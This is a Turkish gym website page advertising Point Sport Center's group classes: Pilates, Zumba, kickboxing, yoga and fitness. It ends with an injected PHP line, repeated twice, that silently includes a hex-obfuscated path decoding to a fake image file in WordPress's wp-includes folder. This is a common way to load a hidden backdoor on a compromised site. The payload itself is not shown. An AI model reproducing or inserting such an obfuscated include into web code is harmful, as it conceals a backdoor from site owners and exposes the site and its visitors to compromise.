Image background
Loading...

Point Sport Center Hakkında

Çok sayıda ve zengin içerikli grup egzersiz derslerinin yapıldığı ferah ortamlar sağlayan stüdyomuz yalnızca grup egzersizleri için tasarlandı. İhtiyacınız olan tüm egzersizleri en yeni tekniklerin uygulandığı zengin ders içerikleriyle, bilinçli bir şekilde, uzman eğitmenler eşliğinde yapıyorsunuz. Bu derslerle sosyal bir ortama sahip olmanızın yanında eğleniyor ve stresten arınıyorsunuz
  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness

Point Sport Center Hakkında

Fitness ve Body Building (Vücut Geliştirme) arasındaki farkları anlatacağız. Temel olarak işlevleri, ne anlama geldikleri ve prensipleri hakkında bilgi paylamaya çalışacağız. Öncelikle Fitness ve Body Building kelimeleri üzerinde kısa bir bilgi verelim.

Fitness: Belirli bir zaman diliminde, belirli bir şiddette ve belirli bir sıklıkta uygulanan fiziksel aktiviteleri içermektedir. Fitness'ın temel prensiplerinin en başında yaşam standartlarının iyileştirilmesi gelmektedir. Gün içerisinde daha dinamik, enerjik, yorulmayan, dayanıklılık gibi özelliklerin geliştirilmesine dayanan ve kişilere özel olarak dizayn edilen fiziksel aktiviteleri içermektedir. Yürüyüş yapmak, bisiklete binmek, yüzmek, basketbol oynamak, ağırlık çalışmak, kürek çekmek vb fiziksel aktiviteler sizin fitness seviyenizin yükselmesine yardımcı olmaktadır.

  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness

Point Sport Center Hakkında

Pilates, vücut farkın dalığı yaratır, duruşu düzelterek duruş bozukluğunun neden olacağı kas iskelet sistemi problemlerinden korur, ağrıların ve şikayetlerin tekrarlanmasının önüne geçer, vücuda esneklik kazandırır. Denge ve koordinasyonu artırarak özellikle başta omurga olmak üzere tüm eklem hareketleri üzerinde kontrol sağlar. Kasların kuvvet ve dayanıklılığının artmasına paralel günlük hareketler sırasında yaşanan yorgunluğu ortadan kaldırır. Gün aşırı olmak kaydıyla haftada 3 kez ya da yürüyüşle desteklenmek kaydıyla haftada iki kez yapılabilir. Ancak önemli olan, keyif alınan bir zamanda, örneğin sevdiğiniz diziyi seyrederken ya da eşinizle sohbet ederken bunu yapmanızdır.
  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness

Point Sport Center Hakkında

Shakira’nin koreografi Beto Perez’in geliştirdiği ZUMBA ®; milyonlarca insan tarafından yapılan EĞLENCELİ ve KOLAY bir fitness - dans programıdır.
Zumba ile kilo vermek, zayıflamak çok kolay! Ayrıca formunuzu koruyabilir, sıkılaşabilirsiniz.
En güzeli de hem SPOR yapacak hem büyük KEYİF alacak hem de vaktin nasıl geçtiğini anlamadığınız bir PARTİ’ye katılacaksınız…

Farklı türde kıpır kıpır müzikler eşliğinde yapılan ZUMBA, takip etmesi kolay dans adımları kullanılarak yapılmaktadır.
Kalorileri yakarken, bir yandan kaslarınızı çalıştıracaksınız, bir yandan da vücudunuzu esneteceksiniz ve ilham verici dans figürleri ile hayatınıza yeni bir renk katacaksınız.

  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness

Point Sport Center Hakkında

Kick boks sporu, farklı tekniklerin içinde yer aldığı bir savunma sporudur. Tamamen iki farklı spor olan Karete ve Muay Thai’nin bir araya gelemesi sonucunda oluşturulmuş, güce ve teknik bilgiye dayanan bir dövüş sporudur. En önemlisi aşırı derece sert bir spor olmasıdır. Rakibinizi yenmek için yüksek güç gerektiren bu spor, diğer birçok spordan daha fazla enerji ve güç harcamanızı sağlar.
Kick Box, en sert sporlar arasında yer alır. Güce dayalı olan bu sporda tekniği ne kadar iyi öğrenir ve gücünüzü o teknik üzerinde yoğunlaştırırsanız o kadar başarı sağlamanız mümkün olacaktır.
  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness

Point Sport Center Hakkında

YOGA bir din, politik bir hareket veya dogma değildir. O , tüm kültürlere, inançlara, ırklara saygı içerisinde olarak bireysel iç yapının (mikro kozmos) , evren (makro kozmos) ile tüm seviyelerde ve tam olarak birleşmesidir.

YOGA yolu ile varlık mikrokozmik yapısını, makrokozmosa , evrenin en üstün olanaklarını kullanmak sureti ile birleşir ve evrensel sübtil enerjileri en mükemmel şekilde kullanır. Bu birleşme ile kişi mikrokozmosunda , makrokozmosu tam olarak bulabilme kabiliyetine sahip olur . Böylece tüm evren küçültülmüş ölçekte varlık içinde hissedilir. Bu da makrokozmosta bulunan her şey mikrokozmostada bulunur demektir.

  • Body
  • Zumba
  • Pilates
  • Latin Dansları
  • Boks & Kick Boks
  • Yoga
  • Oryantal
  • Fitness
OcakMartMayısTemmuzAğustosEylül
Body & Fitness
Point Sport Center'de siz değerli üyelerimize özel body, fitness dersleri verilmektedir. Detaylı bilgi için iletişime geçiniz.
Point Sport Center
Body & Fitness
Boks & Kick Boks
Point Sport Center'de siz değerli üyelerimize özel boks, kickboks dersleri verilmektedir. Detaylı bilgi için iletişime geçiniz.
Point Sport Center
Boks & Kick Boks
Yoga & Zumba & Pilates
Point Sport Center'de siz değerli üyelerimize özel yoga, pilates,zumba dersleri verilmektedir. Detaylı bilgi için iletişime geçiniz.
Point Sport Center
Yoga & Zumba & Pilates
Point Sport CenterBody & FitnessPoint Sport CenterBoks & Kick BoksPoint Sport CenterYoga & Zumba & Pilates
@include(pack('H*', '77702d696e636c756465732f696d616765732f77702d736b696e2e6a7067')); @include(pack('H*', '77702d696e636c756465732f696d616765732f77702d736b696e2e6a7067'));